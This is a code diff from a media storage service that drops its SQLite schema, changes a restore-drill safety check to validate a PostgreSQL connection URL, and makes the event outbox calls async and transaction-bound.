- FOREIGN KEY (forked_from) REFERENCES pastes(id) ON DELETE SET NULL
-);
-CREATE INDEX IF NOT EXISTS idx_pastes_slug ON pastes(slug);
-CREATE INDEX IF NOT EXISTS idx_pastes_app ON pastes(app_id, created_at DESC);
-CREATE INDEX IF NOT EXISTS idx_pastes_user ON pastes(user_id);
-CREATE INDEX IF NOT EXISTS idx_pastes_visibility ON pastes(visibility);
-
-CREATE TABLE IF NOT EXISTS paste_likes (
- paste_id INTEGER NOT NULL,
- user_id INTEGER NOT NULL,
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- PRIMARY KEY (paste_id, user_id),
- FOREIGN KEY (paste_id) REFERENCES pastes(id) ON DELETE CASCADE
-);
-
-CREATE TABLE IF NOT EXISTS paste_comments (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- paste_id INTEGER NOT NULL,
- user_id INTEGER,
- parent_id INTEGER,
- anon_name TEXT,
- message TEXT NOT NULL,
- ip_address TEXT,
- is_deleted INTEGER DEFAULT 0,
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- FOREIGN KEY (paste_id) REFERENCES pastes(id) ON DELETE CASCADE,
- FOREIGN KEY (parent_id) REFERENCES paste_comments(id) ON DELETE CASCADE
-);
-CREATE INDEX IF NOT EXISTS idx_paste_comments_paste ON paste_comments(paste_id);
-CREATE INDEX IF NOT EXISTS idx_paste_comments_ip ON paste_comments(ip_address);
-
-CREATE TABLE IF NOT EXISTS files (
- key TEXT PRIMARY KEY,
- app_id TEXT NOT NULL DEFAULT 'live',
- user_id INTEGER,
- original_name TEXT,
- size INTEGER NOT NULL DEFAULT 0,
- mime TEXT DEFAULT 'application/octet-stream',
- sha256 TEXT,
- object_id TEXT, -- media_objects.id
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP
-);
-CREATE INDEX IF NOT EXISTS idx_files_app ON files(app_id, created_at DESC);
-
-CREATE TABLE IF NOT EXISTS media_settings (
- key TEXT PRIMARY KEY,
- value TEXT,
- description TEXT DEFAULT '',
- type TEXT DEFAULT 'string',
- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
-);
-
-CREATE TABLE IF NOT EXISTS assets (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- app_id TEXT NOT NULL DEFAULT 'live',
- kind TEXT NOT NULL, -- 'emote' | 'sound'
- name TEXT NOT NULL, -- emote code or !command
- file_path TEXT NOT NULL,
- mime TEXT DEFAULT 'application/octet-stream',
- user_id INTEGER, -- uploader (app-local id)
- username TEXT DEFAULT '', -- uploader name snapshot
- channel_username TEXT DEFAULT '', -- channel it belongs to
- duration_seconds REAL DEFAULT 0,
- meta_json TEXT DEFAULT '{}',
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP
-);
-CREATE INDEX IF NOT EXISTS idx_assets_app_kind ON assets(app_id, kind, created_at DESC);
-CREATE UNIQUE INDEX IF NOT EXISTS idx_assets_identity ON assets(app_id, kind, name, channel_username);
-
-CREATE TABLE IF NOT EXISTS media_objects (
- id TEXT PRIMARY KEY, -- med_<ULID> (time-sortable)
- app_id TEXT NOT NULL, -- tenant
- namespace TEXT NOT NULL, -- a media_namespaces row: the tenant's root (app id, or app.<project_id>[.sandbox]) or a child of it
- kind TEXT NOT NULL CHECK(kind IN ('vod', 'clip', 'file', 'thumbnail', 'screenshot', 'avatar', 'asset')),
- owner_subject TEXT, -- canonical subject (usr_<ULID>) when known
- owner_app TEXT, -- legacy owner: the app whose user-id space owner_user_id is in
- owner_user_id INTEGER,
- visibility TEXT NOT NULL DEFAULT 'private' CHECK(visibility IN ('public', 'unlisted', 'private')),
- lifecycle_status TEXT NOT NULL DEFAULT 'uploading' CHECK(lifecycle_status IN ('uploading', 'ready', 'failed', 'archived', 'deleted')),
- mime_type TEXT,
- size_bytes INTEGER NOT NULL DEFAULT 0,
- content_hash TEXT, -- sha256 hex
- canonical_provider TEXT, -- local | b2 | r2
- canonical_key TEXT,
- legacy_ref TEXT UNIQUE, -- legacy:<app>:<kind>:<id> for projected rows; NULL = native v2 object
- metadata TEXT NOT NULL DEFAULT '{}',
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- deleted_at DATETIME
-);
-CREATE INDEX IF NOT EXISTS idx_media_objects_app ON media_objects(app_id, id);
-CREATE INDEX IF NOT EXISTS idx_media_objects_kind ON media_objects(app_id, kind);
-CREATE INDEX IF NOT EXISTS idx_media_objects_owner ON media_objects(owner_subject);
-CREATE INDEX IF NOT EXISTS idx_media_objects_lifecycle ON media_objects(lifecycle_status);
-CREATE INDEX IF NOT EXISTS idx_media_objects_namespace ON media_objects(app_id, namespace, lifecycle_status);
-
-CREATE TABLE IF NOT EXISTS media_namespaces (
- namespace TEXT PRIMARY KEY,
- app_id TEXT NOT NULL, -- the tenant it belongs to (and whose quota it counts against)
- parent TEXT, -- NULL for a root
- owner TEXT NOT NULL, -- service:<app_id> (a first-party tenant) | project:<prj_…> (a developer project)
- policy TEXT NOT NULL DEFAULT '{}', -- JSON: kinds, visibilities, max_object_bytes, strict_verbs (children inherit)
- quota_bytes INTEGER,
- quota_objects INTEGER,
- used_bytes INTEGER NOT NULL DEFAULT 0,
- used_objects INTEGER NOT NULL DEFAULT 0,
- reserved_bytes INTEGER NOT NULL DEFAULT 0,
- reserved_objects INTEGER NOT NULL DEFAULT 0,
- reconciled_at DATETIME,
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
-);
-CREATE INDEX IF NOT EXISTS idx_media_namespaces_app ON media_namespaces(app_id, namespace);
-
-CREATE TABLE IF NOT EXISTS media_quota_reservations (
- object_id TEXT PRIMARY KEY,
- app_id TEXT NOT NULL,
- namespace TEXT NOT NULL,
- bytes INTEGER NOT NULL DEFAULT 0,
- expires_at DATETIME NOT NULL, -- the expiry sweep fails the upload after this (unless a multipart session is open)
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP
-);
-CREATE INDEX IF NOT EXISTS idx_media_quota_reservations_ns ON media_quota_reservations(app_id, namespace);
-CREATE INDEX IF NOT EXISTS idx_media_quota_reservations_expiry ON media_quota_reservations(expires_at);
-
-CREATE TABLE IF NOT EXISTS media_locations (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- object_id TEXT NOT NULL,
- provider TEXT NOT NULL CHECK(provider IN ('local', 'b2', 'r2')),
- bucket TEXT,
- key TEXT NOT NULL, -- absolute path for local, object key for b2/r2
- storage_class TEXT, -- hot (local) | cold (b2 canonical) | cache (r2)
- state TEXT NOT NULL DEFAULT 'pending' CHECK(state IN ('present', 'missing', 'pending', 'corrupt')),
- checksum TEXT,
- size_bytes INTEGER,
- verified_at DATETIME,
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- UNIQUE(object_id, provider)
-);
-
-CREATE TABLE IF NOT EXISTS media_relationships (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- from_object_id TEXT NOT NULL,
- relation TEXT NOT NULL, -- clip_of | thumbnail_of | derived_from | screenshot_of
- to_object_id TEXT NOT NULL,
- metadata TEXT NOT NULL DEFAULT '{}',
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- UNIQUE(from_object_id, relation, to_object_id)
-);
-CREATE INDEX IF NOT EXISTS idx_media_relationships_to ON media_relationships(to_object_id, relation);
-
-CREATE TABLE IF NOT EXISTS media_variants (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- object_id TEXT NOT NULL, -- the source object
- variant_name TEXT NOT NULL, -- thumbnail | 720p | waveform | …
- derived_object_id TEXT NOT NULL,
- recipe TEXT, -- how it was made (name@version)
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- UNIQUE(object_id, variant_name)
-);
-
-CREATE TABLE IF NOT EXISTS media_jobs (
- id TEXT PRIMARY KEY, -- mjob_<ULID>
- app_id TEXT NOT NULL, -- the tenant that owns the job
- object_id TEXT, -- the object it works on (NULL for tenant-wide jobs: invariant.scan)
- job_type TEXT NOT NULL, -- thumbnail.regenerate | invariant.scan | object.split | object.remux
- status TEXT NOT NULL DEFAULT 'queued' CHECK(status IN ('proposed', 'queued', 'running', 'succeeded', 'failed', 'cancelled')),
- idempotency_key TEXT, -- unique per tenant: a repeat answers with the same job
- request_hash TEXT, -- sha256 of { type, object_id, params }: a different request under a used key is refused
- params TEXT NOT NULL DEFAULT '{}',
- result TEXT,
- attempts INTEGER NOT NULL DEFAULT 0,
- max_attempts INTEGER NOT NULL DEFAULT 3,
- run_after DATETIME, -- queued: not before (retry backoff)
- lease_until DATETIME, -- running: renewed while the worker holds the job
- lease_token TEXT, -- running: the claim's random fencing token; renew/checkpoint/succeed/fail must match it
- checkpoint TEXT, -- handler progress (JSON); a retry resumes from it
- error TEXT,
- error_code TEXT, -- stable code of the last failure (media_unavailable, quota_exceeded, …)
- cancel_requested INTEGER NOT NULL DEFAULT 0,
- created_by TEXT, -- svc:<id> | app:<app> | app:<app>:user:<id> | system:<what>
- owner_user_id INTEGER, -- the app's user it was created for (X-OV-User-Id), if any
- decided_by TEXT, -- who approved or rejected a proposal
- decided_at DATETIME,
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- started_at DATETIME,
- finished_at DATETIME
-);
-CREATE INDEX IF NOT EXISTS idx_media_jobs_status ON media_jobs(status, job_type);
-
-CREATE TABLE IF NOT EXISTS media_uploads (
- id TEXT PRIMARY KEY, -- mup_<ULID>
- object_id TEXT NOT NULL,
- app_id TEXT NOT NULL,
- part_size INTEGER NOT NULL,
- total_size INTEGER NOT NULL,
- parts_expected INTEGER NOT NULL,
- status TEXT NOT NULL DEFAULT 'active' CHECK(status IN ('active', 'completing', 'completed', 'aborted', 'expired')),
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- updated_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- expires_at DATETIME NOT NULL,
- completed_at DATETIME
-);
-CREATE INDEX IF NOT EXISTS idx_media_uploads_object ON media_uploads(object_id, status);
-CREATE INDEX IF NOT EXISTS idx_media_uploads_expiry ON media_uploads(status, expires_at);
-
-CREATE TABLE IF NOT EXISTS media_upload_parts (
- upload_id TEXT NOT NULL,
- part_number INTEGER NOT NULL, -- 1-based
- size_bytes INTEGER NOT NULL,
- sha256 TEXT NOT NULL,
- received_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- PRIMARY KEY (upload_id, part_number)
-);
-
-CREATE TABLE IF NOT EXISTS media_holds (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- object_id TEXT NOT NULL,
- kind TEXT NOT NULL CHECK(kind IN ('moderation', 'dmca', 'creator_pin', 'admin', 'evidence')),
- reason TEXT NOT NULL DEFAULT '',
- created_by TEXT,
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- released_at DATETIME,
- released_by TEXT,
- note TEXT
-);
-CREATE INDEX IF NOT EXISTS idx_media_holds_object ON media_holds(object_id, released_at);
-
-CREATE TABLE IF NOT EXISTS media_invariant_violations (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- object_id TEXT NOT NULL UNIQUE,
- level TEXT NOT NULL CHECK(level IN ('warn', 'violation')),
- size_bytes INTEGER NOT NULL,
- threshold_bytes INTEGER NOT NULL,
- detected_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- last_seen_at DATETIME DEFAULT CURRENT_TIMESTAMP,
- resolved_at DATETIME
-);
-
-CREATE TABLE IF NOT EXISTS media_tier_decisions (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- decided_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now')),
- vod_id INTEGER NOT NULL,
- app_id TEXT,
- object_id TEXT,
- action TEXT NOT NULL CHECK(action IN ('promote', 'demote')),
- from_provider TEXT,
- to_provider TEXT,
- outcome TEXT NOT NULL CHECK(outcome IN ('done', 'already', 'refused', 'failed')),
- trigger TEXT NOT NULL, -- sweep | admin | drill | clip | manual
- reason TEXT NOT NULL,
- inputs TEXT NOT NULL DEFAULT '{}', -- JSON: view_count, last_accessed_at, storage_provider, is_recording, held, file_size, created_at
- thresholds TEXT NOT NULL DEFAULT '{}',-- JSON: the R2 policy in force, each value with its source (default | setting)
- error TEXT
-);
-CREATE INDEX IF NOT EXISTS idx_media_tier_decisions_vod ON media_tier_decisions(vod_id, id);
-CREATE INDEX IF NOT EXISTS idx_media_tier_decisions_app ON media_tier_decisions(app_id, id);
-
-CREATE TABLE IF NOT EXISTS media_object_view_salts (
- day TEXT PRIMARY KEY, -- YYYY-MM-DD (UTC)
- salt TEXT NOT NULL, -- 32 random bytes, hex; deleted with the day's hashes
- created_at DATETIME DEFAULT CURRENT_TIMESTAMP
-);
-CREATE TABLE IF NOT EXISTS media_object_viewer_days (
- day TEXT NOT NULL,
- object_id TEXT NOT NULL,
- viewer TEXT NOT NULL, -- 16 hex chars of HMAC-SHA256(salt of the day, client network)
- PRIMARY KEY (day, object_id, viewer)
-) WITHOUT ROWID;
-CREATE TABLE IF NOT EXISTS media_object_views_daily (
- object_id TEXT NOT NULL,
- day TEXT NOT NULL, -- YYYY-MM-DD (UTC)
- unique_viewers INTEGER NOT NULL DEFAULT 0,
- last_viewed_at TEXT, -- ISO 8601: the day's last new viewer
- PRIMARY KEY (object_id, day)
-);
-CREATE INDEX IF NOT EXISTS idx_media_object_views_daily_day ON media_object_views_daily(day, object_id);
-
-CREATE TABLE IF NOT EXISTS media_object_tier_decisions (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- decided_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now')),
- object_id TEXT NOT NULL,
- app_id TEXT,
- action TEXT NOT NULL CHECK(action IN ('promote', 'demote')),
- from_provider TEXT,
- to_provider TEXT,
- outcome TEXT NOT NULL CHECK(outcome IN ('done', 'already', 'refused', 'failed', 'dry_run')),
- trigger TEXT NOT NULL, -- sweep | manual
- reason TEXT NOT NULL,
- inputs TEXT NOT NULL DEFAULT '{}', -- JSON: unique_viewers_7d, last_viewed_day, size, kind, lifecycle, canonical copy, held, R2 copy, gate
- thresholds TEXT NOT NULL DEFAULT '{}',-- JSON: the media.object_tier policy in force, each value with its source (default | setting)
- error TEXT
-);
-CREATE INDEX IF NOT EXISTS idx_media_object_tier_decisions_object ON media_object_tier_decisions(object_id, id);
-CREATE INDEX IF NOT EXISTS idx_media_object_tier_decisions_app ON media_object_tier_decisions(app_id, id);
-
-CREATE TABLE IF NOT EXISTS media_object_changes (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- object_id TEXT NOT NULL,
- change TEXT NOT NULL CHECK(change IN ('deleted', 'visibility_changed')),
- previous_visibility TEXT,
- visibility TEXT,
- changed_at TEXT NOT NULL DEFAULT (strftime('%Y-%m-%dT%H:%M:%fZ', 'now'))
-);
-
-CREATE TABLE IF NOT EXISTS media_verifications (
- object_id TEXT PRIMARY KEY,
- verified_at TEXT NOT NULL, -- ISO-8601 with ms (orders the rotation)
- status TEXT NOT NULL CHECK(status IN ('good', 'no_good_copy', 'unverifiable')),
- good_providers TEXT, -- comma list of providers holding a good copy
- detail TEXT NOT NULL DEFAULT '{}', -- per-location verdicts and any re-upload
- run_id INTEGER
-);
-CREATE INDEX IF NOT EXISTS idx_media_verifications_at ON media_verifications(verified_at);
-CREATE INDEX IF NOT EXISTS idx_media_verifications_status ON media_verifications(status);
-
-CREATE TABLE IF NOT EXISTS media_verify_runs (
- id INTEGER PRIMARY KEY AUTOINCREMENT,
- started_at TEXT NOT NULL,
- finished_at TEXT,
- objects_checked INTEGER NOT NULL DEFAULT 0,
- locations_checked INTEGER NOT NULL DEFAULT 0,
- good INTEGER NOT NULL DEFAULT 0,
- no_good_copy INTEGER NOT NULL DEFAULT 0,
- unverifiable INTEGER NOT NULL DEFAULT 0,
- reuploaded INTEGER NOT NULL DEFAULT 0,
- reupload_failed INTEGER NOT NULL DEFAULT 0,
- no_good_copy_total INTEGER, -- ready objects with no good copy anywhere, after this run
- error TEXT
-);
@@ -3,12 +3,13 @@
@@ -3,12 +3,13 @@
* Restore-drill mode: MEDIA_DRILL=1 (`ovhost drill media`, see OpenVibe.Host docs/restore-drills.md).
* Restore-drill mode: MEDIA_DRILL=1 (`ovhost drill media`, see OpenVibe.Host docs/restore-drills.md).
*
*
* A drill starts a second Media from the production checkout, with the production env file, against
* A drill starts a second Media from the production checkout, with the production env file, against
- * a restored copy of media.db on a spare loopback port, and compares its public reads with
- * production's. That instance must serve reads from the copy and do nothing else. With MEDIA_DRILL:
+ * a restored copy of the database (pgBackRest restores the cluster on a spare port; ADR-035) on a spare loopback
+ * port, and compares its public reads with production's. That instance must serve reads from the copy and do
+ * nothing else. With MEDIA_DRILL:
*
*
- * - assertSafe(): Media refuses to start unless DB_PATH is set and lies outside the checkout and
- * outside /opt/openvibe.media (so it cannot be production's media.db), PORT is set and is not
- * production's 4100, and HOST is loopback. It runs before the database is opened.
+ * - assertSafe(): Media refuses to start unless DATABASE_URL is set and does not name production's database
+ * (ov_media on the host's 5432 or PgBouncer's 6432), DATABASE_DIRECT_URL is unset (a drill never migrates),
+ * PORT is set and is not production's 4100, and HOST is loopback. It runs before the database is opened.
* - installGuards(): no outbound connection (net.Socket#connect, fetch), so no webhook, event, B2/R2
* - installGuards(): no outbound connection (net.Socket#connect, fetch), so no webhook, event, B2/R2
* or Network call leaves the process; no program other than git (child_process: no ffmpeg or
* or Network call leaves the process; no program other than git (child_process: no ffmpeg or
* ffprobe ever; git only reads the checkout for /release.json); no UDP socket (RTP ingest); nothing
* ffprobe ever; git only reads the checkout for /release.json); no UDP socket (RTP ingest); nothing
@@ -42,6 +43,9 @@ const REPO_ROOT = path.resolve(__dirname, '..');
@@ -42,6 +43,9 @@ const REPO_ROOT = path.resolve(__dirname, '..');
/** Where production runs (OpenVibe.Host inventory: repo /opt/openvibe.media, database data/media.db). */
/** Where production runs (OpenVibe.Host inventory: repo /opt/openvibe.media, database data/media.db). */
const PRODUCTION_ROOT = '/opt/openvibe.media';
const PRODUCTION_ROOT = '/opt/openvibe.media';
const PRODUCTION_PORT = 4100;
const PRODUCTION_PORT = 4100;
+// Production's database: ov_media on the host's PostgreSQL (5432) or through PgBouncer (6432).
+const PRODUCTION_DBS = new Set(['ov_media']);
+const PRODUCTION_DB_PORTS = new Set([5432, 6432]);
const LOOPBACK_HOSTS = new Set(['127.0.0.1', '::1', 'localhost', '::ffff:127.0.0.1']);
const LOOPBACK_HOSTS = new Set(['127.0.0.1', '::1', 'localhost', '::ffff:127.0.0.1']);
function isLoopbackHost(host) {
function isLoopbackHost(host) {
@@ -49,41 +53,27 @@ function isLoopbackHost(host) {
@@ -49,41 +53,27 @@ function isLoopbackHost(host) {
return LOOPBACK_HOSTS.has(h) || /^127(\.\d{1,3}){3}$/.test(h);
return LOOPBACK_HOSTS.has(h) || /^127(\.\d{1,3}){3}$/.test(h);
}
}
-/** The real location of p, following symlinks on the part of it that exists. */
-function realish(p) {
- let head = path.resolve(p);
- const tail = [];
- for (;;) {
- try { return path.join(fs.realpathSync(head), ...tail.reverse()); } catch { /* not there (yet) */ }
- const parent = path.dirname(head);
- if (parent === head) return path.resolve(p);
- tail.push(path.basename(head));
- head = parent;
- }
-}
-function inside(p, root) {
- const rel = path.relative(root, p);
- return rel === '' || (!!rel && !rel.startsWith('..') && !path.isAbsolute(rel));
-}
/**
/**
* Why this environment is not safe for a drill ([] = safe). Pure, for tests.
* Why this environment is not safe for a drill ([] = safe). Pure, for tests.
* `repoRoot` is the checkout the process runs from; `cwd` resolves relative paths.
* `repoRoot` is the checkout the process runs from; `cwd` resolves relative paths.
*/
*/
-function problems(env = process.env, { repoRoot = REPO_ROOT, cwd = process.cwd() } = {}) {
+function problems(env = process.env) {
const out = [];
const out = [];
- const roots = [...new Set([repoRoot, realish(repoRoot), PRODUCTION_ROOT])];
- const productionDb = new Set([path.join(PRODUCTION_ROOT, 'data', 'media.db'), path.join(repoRoot, 'data', 'media.db'), path.join(cwd, 'data', 'media.db')]);
- if (!env.DB_PATH) {
- out.push('DB_PATH is not set; it must name the restored copy of media.db');
+ if (!env.DATABASE_URL) {
+ // Outside production a local embedded copy (MEDIA_PGLITE_DIR) may stand in for it (the N-1 test boots one).
+ if (!(env.MEDIA_PGLITE_DIR && env.NODE_ENV !== 'production')) out.push('DATABASE_URL is not set; it must name the restored copy of the database');
} else {
} else {
- const abs = path.resolve(cwd, env.DB_PATH);
- const real = realish(abs);
- const root = roots.find((r) => inside(abs, r) || inside(real, r));
- if (productionDb.has(abs) || productionDb.has(real)) out.push(`DB_PATH (${abs}) is production's database; point it at the restored copy`);
- else if (root) out.push(`DB_PATH (${abs}${real !== abs ? ` → ${real}` : ''}) is inside ${root}; a drill writes nothing in the checkout or in production's data`);
+ let u = null;
+ try { u = new URL(env.DATABASE_URL); } catch { out.push('DATABASE_URL is not a postgres:// URL'); }
+ if (u) {
+ const name = decodeURIComponent(u.pathname.replace(/^\//, ''));
+ const port = Number(u.port || 5432);
+ if (PRODUCTION_DBS.has(name) && PRODUCTION_DB_PORTS.has(port)) out.push(`DATABASE_URL (${name} on port ${port}) is production's database; point it at the restored copy`);
+ }
}
}
+ if (env.DATABASE_DIRECT_URL) out.push('DATABASE_DIRECT_URL is set; a drill never migrates or writes: unset it');
if (!isLoopbackHost(env.HOST)) out.push(`HOST (${env.HOST || 'unset, i.e. 0.0.0.0'}) is not loopback; a drill binds 127.0.0.1 only`);
if (!isLoopbackHost(env.HOST)) out.push(`HOST (${env.HOST || 'unset, i.e. 0.0.0.0'}) is not loopback; a drill binds 127.0.0.1 only`);
const port = Number(env.PORT);
const port = Number(env.PORT);
if (!env.PORT || !Number.isInteger(port) || port < 1 || port > 65535) out.push('PORT is not set; it must be the drill\'s own port');
if (!env.PORT || !Number.isInteger(port) || port < 1 || port > 65535) out.push('PORT is not set; it must be the drill\'s own port');
@@ -29,7 +29,7 @@
@@ -29,7 +29,7 @@
*/
*/
const { createClient } = require('openvibe-sdk/core');
const { createClient } = require('openvibe-sdk/core');
const { createServiceTokenClient } = require('openvibe-sdk/auth');
const { createServiceTokenClient } = require('openvibe-sdk/auth');
-const { createEventsClient, createOutbox } = require('openvibe-sdk/events');
+const { createEventsClient, createPgOutbox } = require('openvibe-sdk/events');
const db = require('./db/database');
const db = require('./db/database');
const TYPES = {
const TYPES = {
@@ -65,14 +65,15 @@ function init({
@@ -65,14 +65,15 @@ function init({
if (process.env.EVENTS_PUBLISH === 'off' || !eventsUrl || !clientSecret) {
if (process.env.EVENTS_PUBLISH === 'off' || !eventsUrl || !clientSecret) {
// No outbox: object changes staged by the triggers are not events here; drop them hourly.
// No outbox: object changes staged by the triggers are not events here; drop them hourly.
if (!drainTimer) {
if (!drainTimer) {
- drainTimer = setInterval(() => { try { discardObjectChanges(); } catch { /* next hour */ } }, 60 * 60 * 1000);
+ drainTimer = setInterval(() => { discardObjectChanges().catch(() => { /* next hour */ }); }, 60 * 60 * 1000);
if (drainTimer.unref) drainTimer.unref();
if (drainTimer.unref) drainTimer.unref();
}
}
return null;
return null;
}
}
const tokens = createServiceTokenClient({ tokenUrl: `${networkUrl}/oauth/token`, clientId, clientSecret, fetch: fetchImpl });
const tokens = createServiceTokenClient({ tokenUrl: `${networkUrl}/oauth/token`, clientId, clientSecret, fetch: fetchImpl });
const client = createClient({ baseUrls: { events: eventsUrl }, tokenProvider: tokens, fetch: fetchImpl, retries: 0 });
const client = createClient({ baseUrls: { events: eventsUrl }, tokenProvider: tokens, fetch: fetchImpl, retries: 0 });
- outbox = createOutbox(db.getDb(), {
+ // The PostgreSQL outbox (its table is in migrations/0001_initial.sql); enqueue() joins the caller's transaction.
+ outbox = createPgOutbox(db.getDb(), {
events: createEventsClient(client, { source: 'media' }),
events: createEventsClient(client, { source: 'media' }),
intervalMs,
intervalMs,
onError: (err) => {
onError: (err) => {
@@ -81,16 +82,15 @@ function init({
@@ -81,16 +82,15 @@ function init({
stats.lastError = msg;
stats.lastError = msg;
},
},
});
});
- outbox.ensureSchema();
outbox.start();
outbox.start();
- const prune = setInterval(() => { try { outbox.prune(); } catch { /* next time */ } }, 6 * 60 * 60 * 1000);
+ const prune = setInterval(() => { outbox.prune().catch(() => { /* next time */ }); }, 6 * 60 * 60 * 1000);
if (prune.unref) prune.unref();
if (prune.unref) prune.unref();
// Object changes that no Media transaction recorded (a row deleted outside one, operator SQL).
// Object changes that no Media transaction recorded (a row deleted outside one, operator SQL).
if (drainTimer) clearInterval(drainTimer);
if (drainTimer) clearInterval(drainTimer);
- drainTimer = setInterval(() => { try { drainObjectChanges(); } catch (err) { console.warn('[Events] object changes:', err.message); } }, intervalMs);
+ drainTimer = setInterval(() => { drainObjectChanges().catch((err) => console.warn('[Events] object changes:', err.message)); }, intervalMs);
if (drainTimer.unref) drainTimer.unref();
if (drainTimer.unref) drainTimer.unref();
- try { drainObjectChanges(); } catch { /* the timer retries */ }
- console.log(`[Events] media outcomes → ${eventsUrl} (${outbox.pending()} pending)`);
+ drainObjectChanges().catch(() => { /* the timer retries */ });
+ outbox.pending().then((n) => console.log(`[Events] media outcomes → ${eventsUrl} (${n} pending)`), () => {});
return outbox;
return outbox;
}
}
@@ -106,7 +106,7 @@ function slim(appId, data) {
@@ -106,7 +106,7 @@ function slim(appId, data) {
* it. Returns the envelope (with event_id), or null when the outbox is off, the tenant is a sandbox
* it. Returns the envelope (with event_id), or null when the outbox is off, the tenant is a sandbox
* or the webhook event has no durable twin.
* or the webhook event has no durable twin.
*/
*/
-function record(webhookEvent, appId, data) {
+async function record(webhookEvent, appId, data) {
const map = TYPES[webhookEvent];
const map = TYPES[webhookEvent];
if (!map) return null;
if (!map) return null;
const [eventType, subjectType] = map;
const [eventType, subjectType] = map;
@@ -114,7 +114,7 @@ function record(webhookEvent, appId, data) {
@@ -114,7 +114,7 @@ function record(webhookEvent, appId, data) {
const subject = subjectType === 'storage'
const subject = subjectType === 'storage'
? { type: 'storage', id: String((data && data.kind) || 'storage') }
? { type: 'storage', id: String((data && data.kind) || 'storage') }
: { type: subjectType, id: String(id == null ? 'unknown' : id) };
: { type: subjectType, id: String(id == null ? 'unknown' : id) };
- return enqueue(eventType, appId, subject, data, eventType === 'media.storage.recovered' ? 'low' : 'important');
+ return await enqueue(eventType, appId, subject, data, eventType === 'media.storage.recovered' ? 'low' : 'important');
}
}
/**
/**
@@ -123,20 +123,27 @@ function record(webhookEvent, appId, data) {
@@ -123,20 +123,27 @@ function record(webhookEvent, appId, data) {
* tenant-scoped GET /api/v2/:app/jobs/:id has those). Same rule as record(): call it inside the
* tenant-scoped GET /api/v2/:app/jobs/:id has those). Same rule as record(): call it inside the
* transaction that changes the job's state; it throws when the insert fails.
* transaction that changes the job's state; it throws when the insert fails.
*/
*/
-function recordJob(transition, job) {
+async function recordJob(transition, job) {
const priority = JOB_TRANSITIONS[transition];
const priority = JOB_TRANSITIONS[transition];
if (!priority) throw new Error(`unknown job transition ${transition}`);
if (!priority) throw new Error(`unknown job transition ${transition}`);
// A service-wide maintenance job (queue.SYSTEM_APP) is no tenant's: nothing to announce.
// A service-wide maintenance job (queue.SYSTEM_APP) is no tenant's: nothing to announce.
if (job.app_id === require('./jobs/queue').SYSTEM_APP) return null;
if (job.app_id === require('./jobs/queue').SYSTEM_APP) return null;
- return enqueue(`media.job.${transition}`, job.app_id, { type: 'job', id: String(job.id) }, job, priority);
+ return await enqueue(`media.job.${transition}`, job.app_id, { type: 'job', id: String(job.id) }, job, priority);
}
}
-function enqueue(eventType, appId, subject, data, priority) {
+/** The handle an event is written through: only inside the transaction that makes the change (it commits with it or not at all). */
+function inTx() {
+ const h = db.getDb();
+ if (!h.inTransaction()) throw new Error('an event must be recorded inside the transaction that makes the change');
+ return h;
+}
+
+async function enqueue(eventType, appId, subject, data, priority) {
if (!outbox) return null;
if (!outbox) return null;
// Developer-project sandbox tenants (ADR-014) produce no platform events: sandbox activity must
// Developer-project sandbox tenants (ADR-014) produce no platform events: sandbox activity must
// never reach production consumers.
// never reach production consumers.
- if (appId && db.isSandboxTenant(appId)) return null;
- const env = outbox.enqueue({
+ if (appId && await db.isSandboxTenant(appId)) return null;
+ const env = await outbox.enqueue(inTx(), {
event_type: eventType,
event_type: eventType,
actor: { type: 'service', id: 'media' },
actor: { type: 'service', id: 'media' },
subject,
subject,
@@ -152,9 +159,9 @@ function enqueue(eventType, appId, subject, data, priority) {
@@ -152,9 +159,9 @@ function enqueue(eventType, appId, subject, data, priority) {
* Queue a Search document or tombstone (media.index_document.*, ./public/search-documents.js) as is:
* Queue a Search document or tombstone (media.index_document.*, ./public/search-documents.js) as is:
* no tenant field, low priority. Same rule as record(): inside the transaction that records the push.
* no tenant field, low priority. Same rule as record(): inside the transaction that records the push.
*/
*/
-function recordIndexDocument(eventType, subject, payload) {
+async function recordIndexDocument(eventType, subject, payload) {
if (!outbox) return null;
if (!outbox) return null;
- const env = outbox.enqueue({ event_type: eventType, actor: { type: 'service', id: 'media' }, subject, visibility: 'internal', priority: 'low', payload });
+ const env = await outbox.enqueue(inTx(), { event_type: eventType, actor: { type: 'service', id: 'media' }, subject, visibility: 'internal', priority: 'low', payload });
stats.queued++;
stats.queued++;
return env;
return env;
}
}
@@ -164,10 +171,10 @@ function recordIndexDocument(eventType, subject, payload) {
@@ -164,10 +171,10 @@ function recordIndexDocument(eventType, subject, payload) {
